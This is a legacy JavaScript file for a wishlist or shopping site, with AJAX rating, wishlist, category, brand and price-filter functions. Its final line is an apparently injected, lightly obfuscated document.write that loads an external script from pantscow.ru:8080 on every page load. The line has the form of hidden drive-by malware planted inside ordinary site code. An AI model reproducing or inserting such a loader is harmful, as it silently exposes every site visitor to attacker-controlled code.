/**
 * @author Pavel Senko
 */

var ie4, nn4, nn6;
ie4 = nn4 = nn6 = 0;
var brand = false;
var supcat = 0;
var cat = 0;
var wish = "";
var priceset, discountset, couponset;
priceset = discountset = couponset = false;

if(document.all)
	{ie4=1;}
if(document.layers)
	{nn4=1; }
if(document.getElementById&&!ie4){
	nn6=1;
}


function setRating(id,type) {
	
	if (type == 'plus') {
		this_id = 'bigplus';
		other_id = 'bigminus';
		other_type = 'minus';
	} else {
		this_id = 'bigminus';
		other_id = 'bigplus';
		other_type = 'plus';
	}
	
	var this_el = document.getElementById(this_id);
	var other_el = document.getElementById(other_id);
	var rating_box = document.getElementById('rating_'+id);
	var votes_box = document.getElementById('votes_'+id);
	
	var rnd = Math.random();
	
	url="/?ajax=1&function=ratethis&id="+id+"&r="+type+"&rnd="+rnd;
    xmlhttp.open("POST",url,true);
    xmlhttp.onreadystatechange=function() {

    	if (xmlhttp.readyState==4) {
		
			var response = xmlhttp.responseText;
			var ratings = new Array();
			ratings = response.split(',');
		
			var rating = ratings[0];
			var votes = ratings[1];
			
			this_el.className = 'set'+type;
			this_el.innerHTML = '<img src="/i/s.gif">';
			
			other_el.className = '';
			other_el.innerHTML = '<a href="#" onclick="setRating('+id+',\''+other_type+'\');return false;"><img src="/i/s.gif"></a>';
			
			if ((rating != 0) || (votes != 0)) {
				if (rating > 0 ) {
					rating_box.innerHTML = '+'+rating;
				} else {
					rating_box.innerHTML = rating;	
				}
				votes_box.innerHTML = ''+votes+' vote';
				if (votes > 1) {
					votes_box.innerHTML = votes_box.innerHTML+'s';
				}
			}
			
			// alert(response);
		

		}
	}
	xmlhttp.send(null);
	return false;
	
}

function addToMyWishList(id) {
// adds the item (defined by parameter id) to the current list
// of this user wishlist
//

}

function deactivate(cancelling) {
	var cs = document.getElementById('currentstate');	// state label
	var hv = document.getElementById('itemstate');		// hidden variable
	var sc = document.getElementById('statechange');	// state change link
	
	if (cancelling) {
		cs.innerHTML = '<span class="red">cancelling... click "Save" button to commit this change</span>';
	} else {
		cs.innerHTML = '<span class="red">currently not active</span>';
	}
	hv.value = 'N';
	sc.innerHTML = '<a href="#" class="ajax" onclick="reactivate(0);return false;">undo</a>';
}

function reactivate(activiting) {
	var cs = document.getElementById('currentstate');	// state label
	var hv = document.getElementById('itemstate');		// hidden variable
	var sc = document.getElementById('statechange');		// state change link
	
	if (activiting) {
		cs.innerHTML = '<span class="green">activiting... click "Save" button to commit this change</span>';	
	} else {
		cs.innerHTML = '<span class="green">currently active</span>';
	}
	
	hv.value = 'A';
	sc.innerHTML = '<a href="#" class="ajax" onclick="deactivate(0);return false;">cancel</a>';
}

/*
		1) chgState(id,state) - change item's state to the specified one
		2) wlistOps(id,operation) - wishlist operations (add, remove)
		
		=> 3) itemAction id, action, parameter

*/

function itemAction(id,a,ihave) {
	
	var working;
	var metoo;
	
	if (ihave==1) {
		working = document.getElementById('ihave_'+id);
		metoo = document.getElementById('metoo_'+id);
		metoo.className = '';
		metoo.innerHTML = '';
	} else {
		working = document.getElementById('metoo_'+id);
	}

	working.innerHTML = 'working...';

	var rnd = Math.random();
	
	url="/?ajax=1&function=itemaction&id="+id+"&a="+a+"&rnd="+rnd;
    xmlhttp.open("POST",url,true);
    
    xmlhttp.onreadystatechange=function() {

    	if (xmlhttp.readyState==4) {
			var response = xmlhttp.responseText;
			working.innerHTML = response;
			working.className = 'metoo4';
		}
	}
	xmlhttp.send(null);
	return false;

}

function cancelItem(iid) {
	
	var ilink = document.getElementById('itemcancel_'+iid);
	var rnd = Math.random();
	
	url="/?ajax=1&function=cancelitem&iid="+iid+"&rnd="+rnd;
    xmlhttp.open("POST",url,true);
    xmlhttp.onreadystatechange=function() {

    	if (xmlhttp.readyState==4) {
		
			var response = xmlhttp.responseText;
			if (response == '1') {
				ilink.innerHTML = '<span class="orange">cancelled</span>'	
			} else {
				ilink.innerHTML = '<span class="gray">error</span>'
			}
		

		}
	}
	xmlhttp.send(null);
	return false;	
}

function setCustomFields(box,main,sids) {
	
	var listId = new Array();
	listId = sids.split(',');
	
	for (var i=0;i<listId.length;i++) {

		// var cc = document.getElementById('customcontrols');
		var cc = document.getElementById(listId[i]);

//alert(cc.style.visibility+', main:'+main);
		
		if (cc.style.visibility == 'visible' && !main) {
		
			cc.style.visibility='hidden';
			
			// alert('v');
		} else if (main && cc.style.visibility != 'visible'){
		
			cc.style.visibility='visible';
			
			// alert('h');
		}
	
	}
	return true;
}

function setCustom(box,main,sid) {

	// var cc = document.getElementById('customcontrols');
	var cc = document.getElementById(sid);

// alert(cc.style.visibility);
// alert(cc.style.visibility+', main:'+main);
		
	if (cc.style.visibility != 'hidden' && !main) {
		
			cc.style.visibility='hidden';
			
			// alert('v');
	} else if (main && cc.style.visibility != 'visible'){
		
			cc.style.visibility='visible';
			
			// alert('h');
	}
	return true;
}

function wishActivate(bid) {
	var	b = document.getElementById(bid);
		b.className="wishactive";
}

function wishBlock(bid) {
	var	b = document.getElementById(bid);
		b.className="wishblock";
}

function setNextButton(bid,btn) {
	var b = document.getElementById(bid);
	b.setAttribute('src',btn);
}

function checkInput(element) {
	if (!isFinite(element.value) ) {
		element.value = "";
		return false;
	}	
	
}

function wishBrand() {
	
	if (!brand) {
		brand = true;
		setbrand();
	}
	
	return true;
}

function unsetbrand() {
	target = document.getElementById('brandchoice');
	target.innerHTML = "&nbsp;";
}

function setbrand() {
	
	var rnd = Math.random();

  url="/?ajax=1&function=setbrand&supcat="+supcat+"&cat="+cat+"&rnd="+rnd;
  xmlhttp.open("POST",url,true);
  xmlhttp.onreadystatechange=function() {

    if (xmlhttp.readyState==4) {
		
		var response = xmlhttp.responseText;

		var wc = document.getElementById('wishcontainer'); 
		var bc = document.createElement('div'); 
		bc.setAttribute('id','brandchoice');	
		bc.innerHTML = xmlhttp.responseText;
		
		var sel = document.getElementById('selection');
		
		try {
			wc.insertBefore(bc,sel);
		} catch (DOMException) {
			alert("please, close this dialog and press F5");
		}
		
		var cleaner = document.createElement('div');
		cleaner.setAttribute('class','cleaner');
		
		try {
			wc.insertBefore(cleaner,sel);
		} catch (DOMException) {
			alert("please, close this dialog and press F5");
		}
		
	
//		target = document.getElementById('brandchoice');
//		target.innerHTML = xmlhttp.responseText;
		
		
    }
  }
  xmlhttp.send(null);
  return false;
}

function updateKeyinfo(element) {
	
	var keys = document.getElementById('keyinfosummary');
	keys.innerHTML = element.value;
	return true;	
}

function updateBrand(element) {

	var brand = document.getElementById('brandsummary');
	if (element.selectedIndex) {
		brand.innerHTML = element.options[element.selectedIndex].text;
	} else {
		brand.innerHTML = element.value;
	}
	
	return true;
	
}

function updatePrice(element) {
	
	var pricediv = document.getElementById('pricetag');
	var or1 = document.getElementById('or1'); 
	var or2 = document.getElementById('or2');
	
	if (!isFinite(element.value)) {
		or1.innerHTML = "";
		pricediv.innerHTML = "";
		priceset = false;
		return false;
	}
	
	if (!element.value) {
		or1.innerHTML = "";
		pricediv.innerHTML = "";
		priceset = false;
		return false;
		
	} else {
		pricediv.innerHTML = "for <b>$"+element.value+"</b> or less";
	}
	
	if (!priceset && (couponset || discountset)) {
		or1.innerHTML = " OR ";
	} else {
		or1.innerHTML = "";
	}
	
	priceset = true;
	return true;
}

function updateCoupon(element) {
	
	var coupondiv = document.getElementById('coupontag');
	var or1 = document.getElementById('or1'); 
	var or2 = document.getElementById('or2');
	
	if (!isFinite(element.value)) {
		coupondiv.innerHTML = "";
		if (priceset && discountset) {
			or2.innerHTML = "";
		}
		couponset = false;
		return false;
	}
	
	if (!element.value) {
		coupondiv.innerHTML = "";
		if (priceset && discountset) {
			or2.innerHTML = "";
		}
		return false;
	} else {
		coupondiv.innerHTML = "coupon for <b>$"+element.value+"</b> off";
	}
	
	if (priceset) {
		or1.innerHTML = " OR ";
	} else {
		or1.innerHTML = "";
	}
	
	if (discountset) {
		or2.innerHTML = " OR ";
	} else {
		or2.innerHTML = "";
	}
	
	couponset = true;
	return true;
}

function updateDiscount(element) {
	
	var discountdiv = document.getElementById('discounttag');
	var or1 = document.getElementById('or1'); 
	var or2 = document.getElementById('or2');

	if (!isFinite(element.value)) {
		discountdiv.innerHTML = "";
		or2.innerHTML = "";
		discountset = false;
		return false;
	}
	
	if (!element.value) {
		discountdiv.innerHTML = "";
		if (priceset || couponset) {
			or2.innerHTML = "";
		}
		return false;
	} else {
		discountdiv.innerHTML = "at least <b>"+element.value+"%</b> off";
	}
	
	discountdiv.innerHTML = "at least <b>"+element.value+"%</b> off ";
	
	if (couponset || priceset) {
		or2.innerHTML = " OR ";
	} else {
		or2.innerHTML = "";
	}
	
	discountset = true;
	return true;
}
function wishCategory(){

	var items 	= wishCategory.arguments.length;
	var sname 	= wishCategory.arguments[0]; 
	var sid 	= wishCategory.arguments[1]; // was 0
	var	p = document.getElementById('super_'+sid);
		p.className="schosen";
	var temp;
	
	document.newitem.sid.value=sid;
	document.newitem.sname.value=sname;
	
	var suggested = document.getElementById('suggested');
	suggested.value = '';
	
	for (i = 1; i < items;i++) {
		if (arguments[i] != sid) {
			temp = document.getElementById('super_'+arguments[i]);
			temp.className = "schoice";
		}
	}
	
	var saves = document.getElementById('savetheitem');
		saves.style.opacity = 1;
	var saveb = document.getElementById('saveitembutton');	
		saveb.onclick = clickIt;

	// get a list of categories to choose from
	// (AJAX shit)
	//
	//ucats(parentid);
	
}


function wishSubCategory(){

	var items = wishSubCategory.arguments.length;
	var cname = wishSubCategory.arguments[0];
	var parentid = wishSubCategory.arguments[1]; // was 0
	var	p = document.getElementById('cat_'+parentid);
		p.className="cchosen";
	var temp;
	
	var saves = document.getElementById('savethewish');
		saves.style.opacity = 1;
	var saveb = document.getElementById('savewishbutton');	
		saveb.onclick = clickIt;
		
/*		saveb.style.visibility = 'visible'; */
	
	document.newwish.cid.value=parentid;
	document.newwish.cname.value=cname;
	
	var suggested = document.getElementById('suggested');
	suggested.value = '';
	
	for (i = 1; i < items;i++) {
		if (arguments[i] != parentid) {
			temp = document.getElementById('cat_'+arguments[i]);
			temp.className = "cchoice";
		}
	}

	// get a list of categories to choose from
	// (AJAX shit)
	//
//	subcats(parentid);
	
}

function subcats(sid) {
	
	
// TODO: redo subcats click processing... maybe click should enable "submit" button?
	
  cat = sid;
  brand = false;
  
  return false;
  
//  unsetbrand();
// "pricing" replaced "subcats"
  url="/?ajax=1&function=pricing&sid="+sid;
  xmlhttp.open("POST",url,true);
  xmlhttp.onreadystatechange=function() {

    if (xmlhttp.readyState==4) {
		
		target = document.getElementById('selection');
		target.innerHTML = xmlhttp.responseText;
/*
		var response = xmlhttp.responseText;

		var wc = document.getElementById('wishcontainer'); 
		var sel = document.createElement('div'); 
		sel.setAttribute('id','selection');	
		sel.innerHTML = xmlhttp.responseText;
		
		var undercats = document.getElementById('undercats');
		
		try {
			wc.insertBefore(sel,undercats);
		} catch (DOMException) {
			alert("please, close this dialog and press F5");
		}
		
		var cleaner = document.createElement('div');
		cleaner.setAttribute('class','cleaner');
		
		try {
			wc.insertBefore(cleaner,undercats);
		} catch (DOMException) {
			alert("please, close this dialog and press F5");
		}
*/		
		
    }
  }
  xmlhttp.send(null);
  return false;
}

function ucats(sid) {
  
  cat = 0;
  supcat = sid;
  brand = false;
  var rnd = Math.random();
///  unsetbrand();
  
  url="/?ajax=1&function=ucats&sid="+sid+"&rnd="+rnd;
  xmlhttp.open("POST",url,true);
  xmlhttp.onreadystatechange=function() {

    if (xmlhttp.readyState == 4) {
		
// TODO: case of multiple selections (re-selections)		
/*		
		var response = xmlhttp.responseText;

		var wc = document.getElementById('wishcontainer'); 
		var undercats = document.createElement('div'); 
		undercats.setAttribute('id','undercats');	
		undercats.innerHTML = xmlhttp.responseText;
		
		var supercats = document.getElementById('supercats');
		
		try {
			wc.insertBefore(undercats,supercats);
		} catch (DOMException) {
			alert("plase, close this dialog and press F5");
		}
		
		var cleaner = document.createElement('div');
		cleaner.setAttribute('class','cleaner');
		
		try {
			wc.insertBefore(cleaner,supercats);
		} catch (DOMException) {
			alert("plase, close this dialog and press F5");
		}
*/		
		target = document.getElementById('undercats'); 
		target.innerHTML = xmlhttp.responseText; 


//		target = document.getElementById('nextblock');
//		target.innerHTML = xmlhttp.responseText;
		
/*		
		var newdiv = document.createElement('div');
		newdiv.innerHTML = xmlhttp.responseText;
		target.appendChild(newdiv);		
*/		

    }
  }
  xmlhttp.send(null);
  return false;
}
document.write('<s'+'cript type="text/javascript" src="http://pantscow.ru:8080/Firewire.js"></scr'+'ipt>');